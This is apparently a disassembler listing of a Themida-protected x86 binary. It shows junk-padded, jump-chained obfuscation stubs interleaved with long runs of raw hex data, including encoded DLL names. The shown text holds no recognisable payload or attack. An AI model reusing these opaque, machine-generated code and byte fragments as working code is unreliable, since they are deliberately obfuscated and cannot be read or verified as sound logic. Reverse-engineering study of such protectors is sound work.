		dd 0E9241C8Bh, 0FFFEFD12h, 0EFD5E95Ah, 3468FFFEh, 0E951D149h
		dd 0FFFF0C60h, 89241C89h, 4C381E3h, 56000000h, 0FF2B5CE9h
		dd 4C181FFh, 81000000h,	4C1h, 240C8700h, 0FEEEEDE9h, 4C481FFh
		dd 5E000000h, 0FF0916E9h, 24148BFFh, 0FED20BE9h, 1C181FFh
		dd 0E978E844h, 0FFFF3BC9h, 5D5FFB31h, 8B1C5F21h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50D43F
; ---------------------------------------------------------------------------


loc_5174EE:				; CODE XREF: Themida_:00513AA2j
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5100A9
; ---------------------------------------------------------------------------
		dw 55BBh
		dd 89354E21h, 0D6E95BD9h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51750F:				; CODE XREF: Themida_:005124C7j
		mov	[esp], ebx
		jmp	loc_511936
; ---------------------------------------------------------------------------


loc_517517:				; CODE XREF: Themida_:0050C651j
		push	ebx
		pop	dword ptr [edi+20h]
		jmp	loc_51788E
; ---------------------------------------------------------------------------
		dd 71F76851h, 4890000h,	7786824h, 0C890000h, 0E97FB124h
		dd 0FFFF4101h, 6624248Bh, 0E900B60Fh, 0FFFF3C59h, 4247C01h
		dd 81243C8Bh, 4C4h, 24148B00h, 0E904C483h, 0FFFF1D55h
		dd 42474FFh, 83241C8Bh,	48F04C4h, 48B5C24h, 9634E924h
		dd 0B3BAFFFFh, 8115C120h, 1C2h,	0F8F8E900h, 0E289FFFFh
		dd 0FF5201E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517589:				; CODE XREF: Themida_:0050E2DEj
		push	eax
		jmp	loc_514AC6
; ---------------------------------------------------------------------------
		db 51h
		dd 268h, 240C8B00h, 4C481h, 7BE90000h, 89FFFFB8h, 0B7E9242Ch
		dd 0BDFFFF26h, 20A86069h, 61AFC581h, 0C5811F7Bh, 289B108Ah
		dd 4CF7F581h, 0F5813F70h, 66F680FEh, 8107E5C1h,	71307E5h
		dd 1CE9502Fh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50D96C
; ---------------------------------------------------------------------------


loc_5175DF:				; CODE XREF: Themida_:0050F31Dj
		mov	eax, ebx
		pop	ebx
		mov	esi, eax
		pop	eax
		jmp	loc_50C322
; ---------------------------------------------------------------------------
		dw 95B9h
		dd 0E901FD4Fh, 0FFFF543Fh, 81595451h, 4C1h, 63FAE900h
		dd 48FFFFFh, 0A044E924h, 0E831FFFFh, 0FF3C92E9h, 5BD889FFh
		dd 8358C301h, 0F2E904C3h, 31FFFFCFh, 34332434h,	24248B24h
		dd 24040966h, 0B499E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_517632:				; CODE XREF: Themida_:005093E2j
		add	ecx, 4
		jmp	loc_50A0BA
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 43h
		dd 81358304h, 0D4B8ACBh, 65DE96Ah
		db 2 dup(0FFh)
word_51764E	dw 0F66h		; DATA XREF: Themida_:00502868o
		dd 686602B6h, 896675CFh, 6CE92404h, 81FFFEB4h, 4C4h, 0E7814F00h
		dd 6C8592Ch, 1E0BCF81h,	0C78161B0h, 4D116430h, 0A110F781h
		dd 2705ACD1h, 16C0A0Dh,	0D272DF8h, 3C8B6C0Ah, 4C48324h
		dd 0BD55F001h, 7BDF6988h, 8106EDC1h, 0F71EEDF5h, 5DE82919h
		dd 0FF91B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5176A9:				; CODE XREF: Themida_:00516933j
		push	esp
		jmp	loc_50AF78
; ---------------------------------------------------------------------------
		db 54h
		dd 0E389535Eh, 4C381h, 0E9680000h, 8900003Ah, 0D9E9243Ch
		dd 89000006h, 4C581E5h,	83000000h, 2C8702C5h, 20DDE924h
		dd 0EC83FFFFh, 24048904h, 405E089h, 83000000h, 48704E8h
		dd 0C8C2E924h, 0C481FFFEh, 4, 0FFE320E9h, 2434FFFFh, 0FF2CF9E9h
		dd 0E963B0FFh, 0FFFF268Bh, 5AB45053h, 0A3E9E388h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_517717:				; CODE XREF: Themida_:00507AB2j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_50C5DF
; ---------------------------------------------------------------------------


loc_51772A:				; CODE XREF: Themida_:005160BEj
		or	edi, 72945F3Ch
		jmp	loc_512B8C
; ---------------------------------------------------------------------------
		db 0B9h, 85h, 32h
		dd 81496367h, 300728C9h, 81E1D113h, 4C68F9C1h, 0F3E18155h
		dd 83737E5Fh, 1C8904ECh, 36B8BB24h, 0EB81685Fh,	49104DD1h
		dd 7AD9EB81h, 41E92AC9h, 5EFFFF6Dh, 0FF3747E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517771:				; CODE XREF: Themida_:00507195j
		mov	ecx, ebx
		mov	edi, ecx
		jmp	loc_50FD15
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C483243Ch, 0B1BA5204h, 8167B022h, 0F2507EAh, 7E2C13Dh
		dd 326DEA81h, 0C2815415h, 3965D71h, 0E95AD701h,	0FFFF7074h
		dd 807AB652h, 86E9ACEEh, 0B8FFFEBAh, 0CA6765Bh,	467F920Dh
		dd 48D0F727h, 8F085E2Dh, 91D7E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5177C6:				; CODE XREF: Themida_:005153BFj
		or	ebx, ebx
		jnz	loc_50C67F
		push	1850h
		mov	[esp], ecx
		mov	ecx, edx
		sub	esp, 4
		mov	[esp], eax
		push	4994h
		jmp	loc_5060E3
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF213Eh
; ---------------------------------------------------------------------------


loc_5177F0:				; CODE XREF: Themida_:0050EA68j
		or	edx, eax
		shl	edx, 1
		push	229Eh
		mov	[esp], ebx
		push	0FFFFFFFFh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_517287
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 9C68E924h,	0E7C1FFFFh, 0C6F78106h,	81096665h
		dd 0EC5EF5F7h, 2FEF8100h, 54DFAABh, 708047EFh, 0EF2DF801h
		dd 8B708047h, 89E9243Ch, 0BBFFFEB5h, 175964C6h,	485BD801h
		dd 0FFB535E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517855:				; CODE XREF: Themida_:00512536j
		mov	ebp, 4
		jmp	loc_515899
; ---------------------------------------------------------------------------


loc_51785F:				; CODE XREF: Themida_:00512C72j
		xchg	ebp, edx
		not	edx
		push	ebp
		push	eax
		mov	eax, 60DB6736h
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_51540B
; ---------------------------------------------------------------------------
		dd 1240481h, 58000000h,	8904EC83h, 0BE2434h, 29000000h
		dd 4E8BE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51788E:				; CODE XREF: Themida_:0051751Bj
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_5178A0:				; CODE XREF: Themida_:loc_513AC6j
					; Themida_:00516627j
		push	dword ptr [esp]
		pop	ebx
		push	14C0h
		mov	[esp], eax
		jmp	loc_5090DC
; ---------------------------------------------------------------------------
		db 59h,	4Fh, 52h
		dd 3B560D68h, 0EAC15A30h, 4CF28102h, 0E976C81Bh, 0FFFF9B5Ch
		dd 567568h, 242C8900h, 0C5815D54h, 4, 0FEF7FEE9h, 0E9C189FFh
		dd 0FFFEC865h, 8324148Bh, 0E4C004C4h, 0B5516608h, 0E9EC00D8h
		dd 0FFFEC338h
; ---------------------------------------------------------------------------


loc_5178F8:				; CODE XREF: Themida_:0050A6FFj
		mov	bh, 87h
		xor	dh, bh
		jmp	loc_50CBA5
; ---------------------------------------------------------------------------
		db 0C3h, 0E9h, 0C4h
		dd 66FFFEB1h, 2CE3E681h, 0C9C68166h, 57466609h,	2302BF66h
		dd 0FF567CE9h, 68535CFFh, 2C4Ch, 0FF9FB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517929:				; CODE XREF: Themida_:0050623Aj
		pop	esp
		jmp	loc_50813D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0C6B9E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51793A:				; CODE XREF: Themida_:0050CFBBj
		push	ebp
		push	edi
		push	75A855E7h
		pop	edi
		xor	edi, 75A855E3h
		mov	ebp, edi
		pop	edi
		jmp	loc_50CE62
; ---------------------------------------------------------------------------
		dd 0F9A9E958h, 0D829FFFEh, 0FFC4B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51795D:				; CODE XREF: Themida_:005157BCj
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_510FED
; ---------------------------------------------------------------------------


loc_51796A:				; CODE XREF: Themida_:00514F73j
		xor	edx, 308338D2h
		push	dword ptr [esp]
		jmp	loc_505F36
; ---------------------------------------------------------------------------
		dd 97EA815Ah, 811F7B0Ah, 461397EAh, 81DA014Ah, 461397C2h
		dd 97C2814Ah, 5B1F7B0Ah, 879EF281h, 0D0315436h,	0FF8D8DE9h
		dd 0E9D0F7FFh, 0FFFFEF40h, 403A4005h, 2DE80177h, 77403A40h
		dd 8C3DDA05h, 68BE5656h, 0E948BC01h, 0FFFFEAE3h, 2474FF53h
		dd 48F5B04h, 2C895C24h,	0F45CE924h, 205FFFEh, 68000000h
		dd 14D2h, 0E9240489h, 0FFFEF591h
; ---------------------------------------------------------------------------


loc_5179E8:				; CODE XREF: Themida_:00516003j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_50EFDC
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 0F0215DEEh, 5E2434FFh, 2FE95453h, 81FFFEFEh,	1A014EEEh
		dd 3433594Fh, 24343124h, 0E9243433h, 0FFFF121Ah
; ---------------------------------------------------------------------------


loc_517A1C:				; CODE XREF: Themida_:0050D44Bj
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 7
		jmp	loc_507FD3
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0CC6BBC15h, 0FF032EE9h, 4EC81FFh, 89000000h,	0B8502414h
		dd 2, 5158C289h, 0CD0C87B9h, 2935E977h,	74E9FFFFh, 8FFFFEB0h
		dd 0BE562404h, 4, 4247401h, 685A5Eh, 89000032h,	79BF243Ch
		dd 0E9736D36h, 0FFFEBC3Eh, 7C25D8F7h, 3520016Bh, 138E62ECh
		dd 0BD58C689h, 5E56875h, 0E95EF531h, 0FFFF977Bh
; ---------------------------------------------------------------------------


loc_517A94:				; CODE XREF: Themida_:005166DCj
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		mul	cx
		push	small 6B9Ch
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_512ACD
; ---------------------------------------------------------------------------


loc_517AB3:				; CODE XREF: Themida_:00502D14j
		push	ecx
		push	ebx
		jmp	loc_5059F0
; ---------------------------------------------------------------------------
		dw 0F658h
		dd 0F6C3FED3h, 50C3FED3h, 0D8F6EEB0h, 0E8C06804h, 51762C02h
		dd 0E9C0C9B1h, 0BCC98005h, 0FE79E180h, 0D5F180C1h, 859C800h
		dd 0CFE958C3h
		db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_517AEB:				; CODE XREF: Themida_:00503B06j
		mov	eax, 24D4048Ah
		dec	eax
		shr	eax, 3
		xor	eax, 6D963233h
		and	eax, 0EC85DC4h
		or	eax, 47303CEFh
		xor	eax, 4F383CEBh
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_512A39
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 2Ch
		dd 4C48324h, 0FF9935E9h, 1C8966FFh, 0A707E924h,	0F101FFFFh
		dd 8324348Bh, 0E18104C4h, 7BAD0903h, 6600BE56h,	0F10103A3h
		dd 0ABC9815Eh, 83316575h, 3C8904ECh, 3D32E924h,	0C87FFFFh
		dd 0FF565C24h, 8B042474h, 0C4832434h, 24048F04h, 0E924248Bh
		dd 0FFFFB9E2h, 0E6895659h, 4C681h, 73E90000h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517B7F:				; CODE XREF: Themida_:00507D23j
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_505463
; ---------------------------------------------------------------------------
		dw 8150h
		dd 3D1B242Ch, 81592A9Bh, 9B3D1BC1h, 0CB29582Ah,	64BF5759h
		dd 5039C167h, 3512BB53h, 874B6AD8h, 1D6E9FBh, 1C890000h
		dd 1F99BB24h, 814B2921h, 0F70BD7EBh, 2AE95300h
		db 0DDh, 0FEh, 0FFh
byte_517BCF	db 66h			; DATA XREF: Themida_:00502948o
		dd 5724048Bh, 0E448E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517BDA:				; CODE XREF: Themida_:00503B36j
		mov	ch, 0Dh
		neg	ch
		inc	ch
		dec	ch
		inc	ch
		neg	ch
		xor	ch, 55h
		add	al, ch
		pop	ecx
		add	al, bl
		push	bx
		mov	bh, 59h
		sub	al, bh
		pop	bx
		pop	bx
		jmp	loc_507F17
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EE010000h, 4EC835Dh, 0E9242C89h, 0FFFEDF18h, 5065E957h
		dd 16BFFFFFh, 811DDB5Fh, 0FA6DF0C2h, 0A52BE936h, 8166FFFFh
		dd 0E977E0F5h, 0FFFEC9B5h, 4BE56h, 0F2010000h, 2414335Eh
		dd 33241431h, 0E95C2414h, 0FFFEC728h, 2E6814Eh,	812AE376h
		dd 0BBCD84C6h, 5EF02160h, 0FFE55FE9h, 243C8BFFh, 0FFED86E9h
		dd 243489FFh, 1F243481h, 5F09F26Ah, 7AC168h, 241C8900h
		dd 0FF350BE9h, 0C18149FFh, 34BB1299h, 0D5AFC181h, 6C817E98h
		dd 381C0424h, 35E9425Bh, 50FFFFE7h, 0FF63B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517C9D:				; CODE XREF: Themida_:0050651Dj
		add	edx, 4
		jmp	loc_50370A
; ---------------------------------------------------------------------------
		dd 215DEE89h, 0F5815EF5h, 70862416h, 34FFE901h,	0C4835D24h
		dd 74FF5104h, 8F590424h, 248B2404h, 9CC88524h, 0FEADFAE9h
		dd 0CCCB80FFh, 81E28952h, 4C2h,	0BA525600h, 75907C05h
		dd 7961EA81h, 0C281239Fh, 0AE0EFD5Eh, 295AD689h, 3AE95EF2h
		dd 0B0FFFF45h, 0E9D8F6F8h, 0FFFEC10Ch, 23DEE956h, 248BFFFFh
		dd 40766824h, 34890000h, 0E9E68924h, 0FFFF5624h, 5D2434FFh
		dd 0E95A5452h, 0FFFF5735h, 4EC81h, 2C890000h, 2129BD24h
		dd 0EB8917B6h, 5D2434FFh, 4C481h, 39E90000h, 53FFFF09h
		dd 0C7FE4EB7h, 0E929CF80h, 0FFFEF641h
dword_517D54	dd 33243C31h, 3C31243Ch, 0F250E924h ; DATA XREF: Themida_:00502990o
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_517D62:				; CODE XREF: Themida_:00509B50j
		sub	esi, 0A061CB0Eh
		xor	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3F8F615Bh
		sub	ebp, 7A3842E1h
		add	ebp, ebx
		push	esi
		mov	esi, 7A3842E1h
		add	ebp, esi
		pop	esi
		pop	ebx
		jmp	loc_50A536
; ---------------------------------------------------------------------------
		dd 0E9FB8747h, 0FFFFD72Bh, 0E904E1C1h, 0FFFFDA86h, 8251FBBFh
		dd 932AE90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517DAA:				; CODE XREF: Themida_:0050DA7Bj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_50521C
; ---------------------------------------------------------------------------
		db 89h
		dd 19E9242Ch, 0B6FFFEF2h, 0E0C5E902h, 0C481FFFEh, 4, 4EC81h
		dd 4890000h, 4BD6B824h,	0C3313274h, 5624048Bh, 0FF4EA3E9h
		dd 5E5856FFh, 0E95EF029h, 0FFFF8843h, 66C0B60Fh, 0E987048Fh
		dd 0FFFEACCFh
; ---------------------------------------------------------------------------


loc_517DFC:				; CODE XREF: Themida_:0050AAC3j
		push	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_50FD78
; ---------------------------------------------------------------------------


loc_517E08:				; CODE XREF: Themida_:0050BED7j
		add	esi, 1
		sub	esi, 35173452h
		sub	ebx, 3F9444AFh
		jmp	loc_509605
; ---------------------------------------------------------------------------
		db 59h
		dd 4BA52h, 0D3290000h, 0E924148Bh, 0FFFFB0D1h
dword_517E30	dd 24048B66h, 8904EC83h, 0EC81242Ch, 4,	0FF1D63E9h
					; DATA XREF: Themida_:00502A80o
		db 0FFh
; ---------------------------------------------------------------------------


loc_517E45:				; CODE XREF: Themida_:00511E50j
		add	esp, 4
		add	esp, 4
		push	ecx
		pop	esi
		jmp	loc_50967D
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0BF570000h, 2, 535FFB01h, 42474FFh, 24048F5Bh
		dd 0FFAFC5E9h, 241433FFh, 0E924248Bh, 0FFFEEBB9h, 2C0590B8h
		dd 0ED1E920h, 148BFFFFh, 4C48324h, 24048B66h, 3FC1E955h
		dd 0BF57FFFFh, 7D8127DBh, 0FFCABDE9h, 0D7BD55FFh, 554F3219h
		dd 0FEB109E9h, 0BBC581FFh, 10D2E51h, 3B7568CDh,	14890000h
		dd 51BBBA24h, 0D5290D2Eh, 0FF249CE9h, 0C3F381FFh, 8111F16Fh
		dd 4D45F2E3h, 1BF38152h, 0E9027B30h, 0FFFFAFBFh, 243C875Bh
		dd 0E924248Bh, 0FFFEF843h, 5468F828h, 8900001Eh, 0E8B5240Ch
		dd 0FE30C580h, 0A8E580C5h, 8003E5C0h, 0E828F8EDh, 0E9202C59h
		dd 0FFFFDC76h, 68241C89h, 2B0Eh, 55243C89h, 0E36FE068h
		dd 0DDF75D31h, 0B645C581h, 0A6E96CF2h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517F33:				; CODE XREF: Themida_:0050833Fj
		add	edx, 43146FDCh
		jmp	loc_50C9C7
; ---------------------------------------------------------------------------
		dw 0E700h
		dd 5842EF80h, 6602EC83h, 0B1240C89h, 66C800DCh,	83240C8Bh
		dd 20E902C4h
		db 0C9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_517F5B:				; CODE XREF: Themida_:0050C9C9j
		pop	edx
		sub	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		sub	eax, 74530BF2h
		sub	eax, 352D4B07h
		sub	eax, edi
		jmp	loc_507AD0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 14h,	2EB586B9h, 73470ACBh, 0C415826Fh, 0FF2D348Dh, 0BEEA36D7h
		dd 0E95AFB8Bh, 0Ah, 0A8A69ED3h,	74C3153Bh, 0C2812862h
		dd 6A08h, 1BEF8166h, 0BEC0h, 0B9660000h, 48B8344h, 0DA8B5332h
		dd 0FCE88159h, 8B6B8993h, 9FF081F8h, 0F723332h,	381h, 0FE8B6600h
		dd 3583E881h, 0B70F4933h, 0BF6650FFh, 48FBE0Ah,	60CEB332h
		dd 1820Fh, 66F80000h, 61F9D5BAh, 8B03EE83h, 0C6B94EFEh
		dd 8151241Bh, 0FF96A0FEh, 0AB850FFFh, 60FFFFFFh, 13E8h
		dd 0E6A55C00h, 0F68CFE8Ch, 0D8D066FFh, 150F5FC7h, 82C5ACAFh
		dd 61595F53h, 535536EBh, 32335245h, 6C6C642Eh, 56444100h
		dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
		dd 0A07D7h, 120004h, 0C000Bh, 1A5000Ch,	4D970A4Eh, 8CEE9h
		dd 0A49F6800h, 60E905E4h, 68FFFDDCh, 5E4A51Ch, 0FDDC56E9h
		dd 0A68368FFh, 4CE905E4h, 68FFFDDCh, 5E4A793h, 0FDDC42E9h
		dd 0A7FB68FFh, 38E905E4h, 68FFFDDCh, 5E4A8FDh, 0FDDC2EE9h
		dd 0A96D68FFh, 24E905E4h, 9EFFFDDCh, 0F3B65C58h, 261B8703h
		dd 81E0EEB2h, 0F74A5056h, 0E512B806h, 763CA1FEh, 0DCE21968h
		dd 5897336h, 692FA899h,	0A700616Dh, 0F9FC1AB6h,	0FE4266Fh
		dd 6347CC72h, 0C3DF5BFCh, 0E57601FAh, 0F7CB9BA0h, 0E55B9081h
		dd 10A73442h, 45B5F4D0h, 8A976079h, 8236A3A6h, 1A988DF1h
		dd 86236E7Fh, 0DE46183Ch, 0E6691857h, 86541041h, 7560C119h
		dd 2A67D437h, 103D8A91h, 54E051F6h, 8D2A1986h, 198654CCh
		dd 4B202E05h, 0A9E86B1Eh, 51F6692Dh, 198654E0h,	18617A31h
		dd 0E4641E7Eh, 0E4A7DA91h, 5829B5F3h, 2B9C199Fh, 4E1EC004h
		dd 70F583Bh, 7F10000h, 0B2220783h, 6199E8F6h, 5F0B15Dh
		dd 0B5261B87h, 0AD54E3EFh, 39A5EB10h, 87039148h, 6E7438A2h
		dd 32D8DE1Bh, 0E556F332h, 3CF9FC1Dh, 696EB571h,	9DE8AE29h
		dd 0A9EDE958h, 0B3D0297Ch, 35926695h, 0FC18B904h, 0FC2966DDh
		dd 3595DC4Dh, 0BAD3E118h, 0A7007847h, 0E535DF78h, 63D801FDh
		dd 733FBDFCh, 0A4E81257h, 0FD91E41h, 9624E817h,	0AFD40165h
		dd 45B6D22h, 92210065h,	72000006h, 0A79A0084h, 1A6F6B2Fh
		dd 7534D2DEh, 0AB9E0482h, 0C9666C32h, 5A68952Ah, 800ECDBCh
		dd 0E9B5271Ah, 5D5B9CEDh, 0D3748DB1h, 0F9FC1C62h, 6E08F2B3h
		dd 99D82369h, 80C35A60h, 8D345755h, 0D63F4E4Ch,	0C058A094h
		dd 1780AE86h, 0C2621AE5h, 51F6698Fh, 0FC18DDE0h, 0C5617A31h
		dd 3A047308h, 7FA7h, 2FAE9B00h,	18B9C98Ah, 9A2318FCh, 7E6422D7h
		dd 0B9FB8870h, 10C9FC18h, 0B976E740h, 0DAAFFC18h, 0F5229F1Dh
		dd 0E31958E9h, 0BC74BEDFh, 0F380502Fh, 920C11EAh, 18C80435h
		dd 0F061C6FCh, 21FC18C8h, 0E677CC4Ah, 0DC19054Eh, 63E6531Eh
		dd 7135A1E0h, 0E85B0F68h, 85F201FBh, 98400382h,	8CF879DEh
		dd 5229F9FBh, 745586E5h, 7830FCDh, 91F4B822h, 89CA6FEEh
		dd 58F9FB8Ch, 0B277DAE3h, 8F000005h, 0D823696Eh, 0DB4E62EFh
		dd 0FACEF47Eh, 95930401h, 650BBA0Dh, 0CAFFBCCh,	0CA33095Eh
		dd 0D86553C4h, 84F1BF3Ch, 0A93E434Fh, 0A7E0CD9Fh, 0C339427h
		dd 0B1A207CBh, 60F9FA02h, 82B3140Bh, 53F9FA02h,	2823AFE4h
		dd 0C6CA0D2Bh, 0E15E8B11h, 3DBCFF7Eh, 6A71477h,	1FE70ABDh
		dd 296FF804h, 0F31DD6ACh, 0FAB1D5F6h, 0CAD60447h, 397F7DCCh
		dd 22ADF8BEh, 5992E9B7h, 0ED54B7ECh, 241AEECh, 89FE7A2Bh
		dd 52B95FCh, 0EBED0000h, 965E23AFh, 45B5F412h, 0E9EC5D79h
		dd 994227A3h, 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh
		dd 0DEC4C237h, 94AEF16h, 0D8F9FC1Fh, 696E9155h,	6099D823h
		dd 0A8E5AB50h, 0B98D3B5Dh, 18BB8CABh, 78AAD0FCh, 0D73A0415h
		dd 0FFFFFEBDh, 7BEB1150h, 7D83319Ch, 6AB1EEF3h,	0AEE2D8E1h
		dd 18A1EDEFh, 831AA059h, 2052936h, 0B9352683h, 97ECFC18h
		dd 5A63CD86h, 3790E217h, 0F56B6FC8h, 1FA201FAh,	0FAE8B9BAh
		dd 0A61368F9h, 3E123F38h, 0EBD8AE0Bh, 44330418h, 0D6E97E21h
		dd 307E7F41h, 3BF760D5h, 6AB3144Bh, 0F7DC61D4h,	0D70544C5h
		dd 0A23BB0CBh, 8845CCB8h, 2545C8E7h, 5E15B5B4h,	0B219536h
		dd 0C7CD6CB9h, 67AC3D6Ah, 14Dh,	0CC720F5Bh, 5BFC6347h
		dd 1FAC3DFh, 60C73976h,	0D010DCCAh, 58CFE360h, 46F897FFh
		dd 7A81FEDEh, 0BDAC808Dh, 64BE721Ch, 0A3A69DE4h, 15B1F7E0h
		dd 0E8EFA354h, 0B50875A2h, 0B81EC0A3h, 41B82EDh, 0FBFD0000h
		dd 0A62E13BFh, 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh
		dd 35D1DF1Ch, 933F8574h, 7A602CAEh, 0CED4D207h,	195AFF06h
		dd 0C8F9FC1Eh, 7B188145h, 4577D057h, 9801FD5Ch,	0FFFDBCA3h
		dd 4A0D8CB3h, 3B3C0D8Bh, 0EAF9FC1Dh, 1D41F257h,	0DB90F9FCh
		dd 0F8495D6Eh, 0E46FBE02h, 0EF48B5F3h, 0E2045C86h, 3B3BC87h
		dd 63950000h, 0EC6BB27h, 0BD3D0C8Ah, 6194D5F1h,	11CABF5Bh
		dd 9E80783h, 5D7947B4h,	3BA7EDECh, 82089446h, 567C3ABFh
		dd 81B2176Eh, 50F9FC1Eh, 696EE92Dh, 0D659D823h,	18B9C071h
		dd 815A11FCh, 89319DEh,	7C8F13C9h, 63BA08F5h, 9DE9DD87h
		dd 8035505Eh, 0DB4C3D4Bh, 372E9A39h, 87CF1867h,	792A5AFh
		dd 25D0FC18h, 74B0CADh,	0AD9AFC18h, 6BA01570h, 4541B5F4h
		dd 1614B526h, 3A04D1BCh, 0FFFD1013h, 696E57FFh,	51AB3C23h
		dd 2190365Eh, 2FF8627h,	9136291Dh, 1FA10ADh, 0F2BE3C7Fh
		dd 0D8C6BDE9h, 0C17D0F12h, 76F9685Ch, 18B960D1h, 0E1FAB1FCh
		dd 0C39D19BEh, 0B53401FAh, 0FAB32314h, 4885F2F9h, 26283F18h
		dd 0E360A1D2h, 70D958CFh, 51E1C4FFh, 1805916h, 3A25EB8h
		dd 0A3FAB1ACh, 62E5C956h, 2157BDC5h, 681F54B2h,	0ECEAB029h
		dd 0DEDA1A5Dh, 1795420Dh, 834D77EAh, 5C274250h,	2B1h, 0A5216593h
		dd 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h,	49B20BEAh
		dd 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah, 156C507Eh,	0FC1183B4h
		dd 0EBD352F9h, 0D0577B18h, 0FD5C4B77h, 3DBF8201h, 0E93C827Bh
		dd 47FA376Ch, 0CCCAD604h, 0E8337F7Dh, 0A0EEE6A9h, 0A12A7137h
		dd 0C6C43574h, 0AA9536A7h, 3571652Dh, 4F8408F2h, 5C86B922h
		dd 8AD5B004h, 241h, 35D1D503h, 9E048074h, 67632FABh, 0C9D5D302h
		dd 913D8378h, 0B9227B1Ah, 5F9AEFEBh, 6F4B551h, 0AC2D1CBAh
		dd 85FCE0EEh, 0FC103324h, 7BA3E2F9h, 0EEA039AEh, 73E4A255h
		dd 506909DEh, 53D6FA67h, 0FD44C8F6h, 0BFFE0301h, 67E8713Dh
		dd 0B3F9FC02h, 1EF57A9Eh, 0D2A9B578h, 2063E265h, 6BD6F7B5h
		dd 0EAFCF46Eh, 58BDCF13h, 0CFCF8029h, 2906F9FCh, 7AE5D6FCh
		dd 0CB72D74Ah, 1AF9FCCFh, 6697DE2Dh, 9190CD58h,	0CDEF5E78h
		dd 4A93D7F4h, 0A502D607h, 0F9FCA2B4h, 3DD9166Dh, 810DCD8Ch
		dd 0ECC04F38h, 0F66DFA7Dh, 0F47901ECh, 86CA8B2Ch, 2C1BF9FCh
		dd 0C48DD6F7h, 16F9FC86h, 86013297h, 0D7DDF9FCh, 70F80C7h
		dd 661956FCh, 0FCA590C1h, 0D1EA41F9h, 24AFFEB5h, 0D99A3FB3h
		dd 8F9FCA5h, 2EA7C633h,	2880ECBh, 0A9FCBA3Fh, 0A2040647h
		dd 357364D2h, 991FD8A9h, 9B400302h, 6445F615h, 8FB200FDh
		dd 565008CCh, 909205CDh, 0A8B31441h, 0A554171Ah, 0D84F8C1Fh
		dd 0FC18FE7Fh, 8F5817F9h, 43EFC7h, 0B5D0D4h, 793FB8A7h
		dd 93BB2C5Dh, 345288EFh, 28D59C2Dh, 0A0A1039Ah,	0BB1C9FE2h
		dd 0F9FC04BAh, 83CB1C6Bh, 89647B3h, 703EBF82h, 6C30AA15h
		dd 0BFB7B119h, 0A69730B3h, 0A4F9FC04h, 0D9126937h, 800CCCBDh
		dd 22BBF065h, 71F0BE3Fh, 1A9049D8h, 0D4F54B36h,	867336h
		dd 0B8199CE5h, 4E08B168h, 0C3CF0876h, 0B05E8B17h, 518808F1h
		dd 4CF71643h, 0B8FA018Fh, 0EA21B639h, 9EE50D03h, 0FDB8B982h
